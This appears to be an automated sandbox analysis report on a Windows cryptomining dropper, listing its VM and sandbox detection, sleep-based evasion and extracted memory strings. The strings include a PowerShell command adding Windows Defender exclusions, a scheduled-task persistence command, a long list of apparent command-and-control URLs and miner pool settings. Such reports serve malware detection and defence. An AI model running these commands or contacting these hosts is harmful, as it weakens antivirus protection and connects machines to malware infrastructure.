Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contain functionality to detect virtual machines

Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: vmware.exe vboxservice.exe vboxservice.exe qemu-ga.exe qemu-ga.exe	14_2_00007FF6A54A7ED0
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: VMware VBOX QEMU QEMU	14_2_00007FF6A54A7B10
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: VMware QEMU QEMU	14_2_00007FF6A54A79C0
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: VBOX VMWARE	14_2_00007FF6A54A7CC0
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: VMware VBOX QEMU QEMU	17_2_00007FF7D1637B10
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: VMware QEMU QEMU	17_2_00007FF7D16379C0
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: vmware.exe vboxservice.exe vboxservice.exe qemu-ga.exe qemu-ga.exe	17_2_00007FF7D1637ED0
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: VBOX VMWARE	17_2_00007FF7D1637CC0

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT serialnumber FROM Win32_DiskDrive
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT serialnumber FROM Win32_DiskDrive

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	Binary or memory string: TEMP\.EXEWINDRIVE-.EXEC:\WINDOWS\SYSTEM32\SYSTEM-.EXEC:\WINDOWS\SYSWOW64\$LMX-SOFTWARE\$LMXCONFIG\STARTUPSYSWOW-.EXEC:\WINDOWS\SYSWOW64\$LMX-.EXEC:\PROGRAM FILES (X86)\MICROSOFT\TEMP\MICROSOFT-C:\PROGRAM FILES (X86)\MICROSOFT\TEMPSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNMICROSOFT-://HTTPSABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/HTTPS://PASTESNAP.COM/HTTPS://DEEPSEAHUNTER.COM.DE/HTTPS://PROJECTRETRAC.COM/HTTPS://BRETTDOGECOIN.COM/HTTPS://SYNCAICLOUD.COM/HTTPS://EONFORTNITE.COM/HTTPS://RUSTECHHUB.RU/HTTPS://CREATIVECODER.TOP/HTTPS://NAMESELL.SBS/HTTPS://LEARNTOCODEWITHUS.SU/HTTPS://BURNINGSPICE.CFD/HTTPS://SECURETEXTWEB.CC/HTTPS://WILDLIFY.COM/HTTPS://SPOKOYSTVIEIDUSHA.RU/HTTPS://ADOREBEAUTYZ.TOP/HTTPS://INDEXINFERNO.TOP/HTTPS://SUCCESSFROMWITHIN.RU/HTTPS://TECHVENTURESFROMRUSSIA.SU/HTTPS://INFORTE.TOP/HTTPS://YOURNEXTBIGIDEA.SU/HTTPS://BLUEBULLET.SU/HTTPS://FLIXMI.TOP/HTTPS://LEADINGWORLD.TOP/HTTPS://FEELGOODFOREVER.ORG.RU/HTTPS://RUSSIANTECHINNOVATIONHUB.RU/HTTPS://COOLCARFORUM.COM/HTTPS://RUSSIANCULTURALHERITAGE.RU/HTTPS://EXPLORERUSSIABEYOND.RU/HTTPS://WAVEPASSAGE.CFD/HTTPS://TIFFANYONLINESTORE.TOP/HTTPS://GALAXYGLIMMER.TOP/HTTPS://CODEMASTERSHUB.SU/HTTPS://LEARNTOCODEWITHUS.SU/HTTPS://GAMERGATEGAMES.TOP/HTTPS://JOBSCONTEXT.TOP/.EXEWINDRIVE-URL CHECKER:////.EXEC:\WINDOWS\SYSTEM32\SYSTEM-SYSTEM-" /SC ONLOGON /RL HIGHEST /F" /TR "SCHTASKS /CREATE /TN "SYSTEMMANUFACTURERHARDWARE\DESCRIPTION\SYSTEM\BIOSVMWAREVIRTUALBOXQEMUMICROSOFT CORPORATIONPARALLELS0SYSTEM\CURRENTCONTROLSET\SERVICES\DISK\ENUM0SYSTEM\CURRENTCONTROLSET\SERVICES\DISK\ENUMVMWAREVBOXQEMUVBOXVMWAREPARALLELSVMWARE.EXEVBOXSERVICE.EXEQEMU-GA.EXEHTTP://WWW.GOOGLE.COMPOWERSHELL.EXE -COMMAND "ADD-MPPREFERENCE -EXCLUSIONEXTENSION '.EXE'; ADD-MPPREFERENCE -EXCLUSIONPROCESS 'SVCHOST.EXE'"GLOBAL\E788D6624AWAITING FOR INTERNET CONNECTION...//M.TXTSTB/GLOBAL\F4855F59E0WAITING FOR INTERNET CONNECTION...//M.TXTSTB/TEMP\TM
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	Binary or memory string: QEMU-GA.EXE
Source: svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	Binary or memory string: CURL -S HTTP://IPINFO.IO/COUNTRYNVIDIAAMDNTDLL.DLLRTLGETVERSIONWINDOWS 11WINDOWS 10WINDOWS 8.1WINDOWS 8WINDOWS 7WINDOWS XPN/AEP.PHPAPI/10&STUB_VERSION=&OS_VERSION=&HAS_GPU=&STATUS=ONLINE&MINING_STATUS=&RAM_VRAM=&HARDWARE=&COUNTRY=&OWNER_ID=&HWID=&IP_ADDRESS=PC_NAME=HWID=E2D6CBD0E29B34BC6ADBD3513173B3B0D13F364FB7317D5F&API_KEY=DATA=&ID=GSS.PHP?API_KEY=TASKMGR.EXEPROCESSHACKER.EXEMSIAFTERBURNER.EXEHWMONITOR.EXERIVATUNER.EXEPROCESSEXPLORER.EXEGEFORCEEXPERIENCE.EXEGPU-Z.EXEXR.TXTPLD/HTTPKAWPOWFIROPOWWR.TXTNEXAETCHASHETHASHALEPHCTXCFLUXKARLSENV2PYRINV2EQUI144_5AUTOLYKOS2BEAMLR.TXT&SETTINGS_TYPE=GUS.PHP?API_KEY=5GB_GPU4GB_GPU_COIN_PORT:_POOL_WORKER%GPU%/_WALLETPROXY_HOSTPROXY_PORTPMWAPMWGRVNNEOXANEURAICLOREFIROETCETHWCORTEXKARLSENPYRINERGOBTGUNKNOWNCPUCPU_COINCPU_PORTCPU_POOLCPU_WORKERCPU_WALLETXMRRX/0ZEPHYRSALVIUMCPU_MAXCPU_IDLESOFTWARE\VALVE\STEAMRUNNINGAPPID --USER --URL " --ALGO " --PROXY= --CPU-MAX-THREADS-HINT=PMWA, USER IS IDLE NOT STARTING MINING.V.PHPTASK MANAGER OPENED, PAUSING MININGIDLE STATUS CHANGED, RESTARTING MINING PROCESS... --PROXY --URL STRATUM+TCP:// --POOL " --COIN --SOCKS5 --PERS BGOLDPOW&USER_ID=CIE.PHP?HWID=CU.PHP?API_KEY=\"GUW.PHP?ID=,

Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe

Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\disk\Enum name: 0

Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: GetAdaptersInfo,		14_2_00007FF6A54A7DA0
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: GetAdaptersInfo,		17_2_00007FF7D1637DA0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5943	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3794	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1480	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4515	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Window / User API: threadDelayed 584
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 4151
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 5848
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 6819
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 3091
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9863

Source: C:\Windows\System32\svchost.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_16-86225

Source: C:\Windows\SysWOW64\explorer.exe

Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess

Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	API coverage: 5.2 %
Source: C:\Windows\System32\System-f4855f59e0.exe	API coverage: 2.6 %
Source: C:\Windows\System32\svchost.exe	API coverage: 3.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5260	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 4240	Thread sleep count: 79 > 30	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 4240	Thread sleep time: -79000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3028	Thread sleep count: 169 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3028	Thread sleep time: -169000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7252	Thread sleep count: 1480 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7252	Thread sleep count: 4515 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6828	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6744	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 4308	Thread sleep count: 584 > 30
Source: C:\Windows\System32\dllhost.exe TID: 4308	Thread sleep time: -58400s >= -30000s
Source: C:\Windows\System32\dllhost.exe TID: 5528	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 1888	Thread sleep count: 4151 > 30
Source: C:\Windows\System32\winlogon.exe TID: 1888	Thread sleep time: -4151000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 1888	Thread sleep count: 5848 > 30
Source: C:\Windows\System32\winlogon.exe TID: 1888	Thread sleep time: -5848000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 1928	Thread sleep count: 6819 > 30
Source: C:\Windows\System32\lsass.exe TID: 1928	Thread sleep time: -6819000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 1928	Thread sleep count: 3091 > 30
Source: C:\Windows\System32\lsass.exe TID: 1928	Thread sleep time: -3091000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2060	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 2060	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 5188	Thread sleep count: 9863 > 30
Source: C:\Windows\System32\dwm.exe TID: 5188	Thread sleep time: -9863000s >= -30000s

Source: C:\Windows\System32\ReAgentc.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_000001F5A968D880 FindFirstFileExW,	9_2_000001F5A968D880
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54FB848 FindFirstFileExW,	14_2_00007FF6A54FB848
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC0A4A0 FindFirstFileExW,FindClose,wcscpy_s,_invalid_parameter_noinfo_noreturn,	16_2_00000173CFC0A4A0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D03BD880 FindFirstFileExW,	16_2_00000173D03BD880
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D168B848 FindFirstFileExW,	17_2_00007FF7D168B848

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: lsass.exe, 00000039.00000000.1517744463.0000017D2CE91000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: $LMX-f4855f59e0.exe.0.dr	Binary or memory string: VMware
Source: ReAgentc.exe, 0000001E.00000003.1452197237.0000021ED6EB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Device\HarddiskVolume1\??\Volume{ad6cc5d8-f1a9-4873-be33-91b2f05e9306}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: lsass.exe, 00000039.00000000.1517744463.0000017D2CE91000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: $LMX-f4855f59e0.exe.0.dr	Binary or memory string: vmware.exe
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	Binary or memory string: qemu-ga.exe
Source: $LMX-f4855f59e0.exe.0.dr	Binary or memory string: TEMP\.exeWinDrive-.exeC:\Windows\System32\System-.exeC:\Windows\SysWOW64\$LMX-SOFTWARE\$LMXconfig\startupSysWOW-.exeC:\Windows\SysWOW64\$LMX-.exeC:\Program Files (x86)\Microsoft\Temp\Microsoft-C:\Program Files (x86)\Microsoft\TempSoftware\Microsoft\Windows\CurrentVersion\RunMicrosoft-://httpsABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/https://pastesnap.com/https://deepseahunter.com.de/https://projectretrac.com/https://brettdogecoin.com/https://syncaicloud.com/https://eonfortnite.com/https://RusTechHub.ru/https://creativecoder.top/https://namesell.sbs/https://LearnToCodeWithUs.su/https://burningspice.cfd/https://securetextweb.cc/https://wildlify.com/https://spokoystvieidusha.ru/https://adorebeautyz.top/https://indexinferno.top/https://SuccessFromWithin.ru/https://TechVenturesFromRussia.su/https://inforte.top/https://YourNextBigIdea.su/https://bluebullet.su/https://flixmi.top/https://leadingworld.top/https://FeelGoodForever.org.ru/https://RussianTechInnovationHub.ru/https://coolcarforum.com/https://russianculturalheritage.ru/https://ExploreRussiaBeyond.ru/https://wavepassage.cfd/https://tiffanyonlinestore.top/https://galaxyglimmer.top/https://CodeMastersHub.su/https://LearnToCodeWithUs.su/https://gamergategames.top/https://jobscontext.top/.exeWinDrive-URL Checker:////.exeC:\Windows\System32\System-System-" /SC ONLOGON /RL HIGHEST /F" /TR "SCHTASKS /CREATE /TN "SystemManufacturerHARDWARE\DESCRIPTION\System\BIOSVMwareVirtualBoxQEMUMicrosoft CorporationParallels0SYSTEM\CurrentControlSet\Services\disk\Enum0SYSTEM\CurrentControlSet\Services\disk\EnumVMwareVBOXQEMUVBOXVMWAREPARALLELSvmware.exevboxservice.exeqemu-ga.exehttp://www.google.compowershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'"Global\e788d6624aWaiting for Internet connection...//M.txtSTB/Global\f4855f59e0Waiting for Internet connection...//M.txtSTB/TEMP\tm
Source: dwm.exe, 0000003D.00000002.2572338533.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dRomNECVMWarVMware_SATA_
Source: $LMX-f4855f59e0.exe.0.dr	Binary or memory string: VMWARE
Source: lsass.exe, 00000039.00000000.1517744463.0000017D2CE91000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: $LMX-f4855f59e0.exe.0.dr	Binary or memory string: vboxservice.exe
Source: svchost.exe, 0000003A.00000000.1522768743.0000022F4AC13000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000@3
Source: dwm.exe, 0000003D.00000002.2572338533.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Bus\0000SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000PCI\VEN_8
Source: dwm.exe, 0000003D.00000002.2572338533.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000010.00000002.2553827080.00000173CE013000.00000004.00000020.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549880016.0000017D2CE13000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1517471519.0000017D2CE13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000003A.00000002.2548700013.0000022F4AC13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000003A.00000000.1522768743.0000022F4AC13000.00000004.00000001.00020000.00000000.sdmp, curl.exe, 0000003C.00000003.1547952894.0000023245FB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: dwm.exe, 0000003D.00000002.2572338533.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000

Source: C:\Users\user\Desktop\gem2.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Code function: 9_2_000001F5A9688280 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

9_2_000001F5A9688280

Source: C:\Windows\System32\svchost.exe

16_2_00000173D019FE30

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Code function: 9_2_000001F5A96814A0 GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

9_2_000001F5A96814A0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_000001F5A9688280 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_000001F5A9688280
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_000001F5A968CE44 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_000001F5A968CE44
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_000001F5A96885E4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_000001F5A96885E4
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54DDD88 SetUnhandledExceptionFilter,	14_2_00007FF6A54DDD88
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54DDE08 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_00007FF6A54DDE08
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54E2DC8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00007FF6A54E2DC8
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54DDBA8 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00007FF6A54DDBA8
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC522E8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00000173CFC522E8
